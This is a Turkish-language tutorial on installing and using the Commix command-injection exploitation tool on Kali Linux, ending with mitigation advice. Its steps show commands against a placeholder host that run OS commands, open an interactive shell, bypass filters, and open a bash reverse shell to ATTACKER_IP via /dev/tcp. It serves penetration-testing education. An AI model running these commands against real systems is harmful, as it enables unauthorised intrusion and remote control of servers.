# Commix (Command Injection Exploiter)

Commix (Command Injection Exploiter), web uygulamalarında bulunan komut enjeksiyonu (Command Injection) zafiyetlerini tespit etmek ve istismar etmek amacıyla geliştirilmiş güçlü bir açık kaynak aracıdır. Python ile yazılmıştır ve otomatikleştirilmiş test süreci sayesinde hem güvenlik araştırmacıları hem de sızma testi uzmanları tarafından yaygın olarak kullanılmaktadır.

# Bu aracın özellikleri nelerdir?

- Otomatik komut enjeksiyonu tespiti ve istismarı.

- GET, POST, Cookie, User-Agent, Referer gibi HTTP parametrelerini test edebilme.

- Ters bağlantı (reverse shell) alma yeteneği.

- Bash, Python, Perl, PHP, Ruby shell destekleri.

- Yerleşik payload motorları ve bypass teknikleri.

- Proxy, Tor, kullanıcı tanımlı header desteği.

- Etik testler için filtrelenmiş mod ve düşük riskli test seçenekleri.

# Bu aracı Kali Linux'ta kurma ve kullanma adımları:

**Adım 1:** Paket listesini güncelleyin:

sudo apt update

metin, ekran görüntüsü, yazı tipi, bilgi, enformasyon içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

**Adım 2:** Commix aracını yükleyin (Kali'de genellikle yüklüdür):

sudo apt install commix

metin, yazı tipi, ekran görüntüsü içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

**Adım 3:** Manuel kurmak isterseniz:

git clone https://github.com/commixproject/commix.git

cd commix

chmod +x commix.py

python3 commix.py –help

metin, ekran görüntüsü, menü içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

**Adım 4:** GET parametresi üzerinden test başlatmak için:

python3 commix.py --url="http://hedef.com/page.php?id=1"

**Adım 5:** POST verisi içeren bir formu test etmek için:

python3 commix.py --url="http://hedef.com/login.php" --data="user=admin&pass=1"

**Adım 6:** Belirli bir komutu çalıştırmak için:

python3 commix.py --url="http://hedef.com/page.php?id=1" --os-cmd="whoami"

**Adım 7:** Etkileşimli bir shell almak için:

python3 commix.py --url="http://hedef.com/page.php?id=1" --os-shell

**Adım 8:** Ters bağlantı almak için:

python3 commix.py --url="http://hedef.com/page.php?id=1" --os-cmd="bash -i >& /dev/tcp/ATTACKER\_IP/4444 0>&1"

# Gelişmiş Kullanım Parametreleri:

- --tor : Trafiği Tor ağı üzerinden gönderir.

- --proxy=http://ip:port : Belirli bir proxy üzerinden test yapar.

- --tamper=space2plus : Filtre bypass için tamper scripti uygular.

- --output-dir=... : Çıktıları belirtilen klasöre kaydeder.

- --ignore-session : Önceki oturumları yok sayar.

# Önlem Yöntemleri:

- Kullanıcı girdilerini sunucu tarafında doğrulayın ve filtreleyin.

- Komut satırı çağrılarını parametreleştirilmiş/veri ayrıştırmalı biçimde oluşturun.

- Güvenlik duvarları ve WAF sistemleri ile filtreleme uygulayın.

- Sunucu taraflı betik çalıştırma haklarını sınırlandırın.

- Girdi verisiyle çalışan sistem komutlarını tamamen kaldırmak en güvenli yaklaşımdır.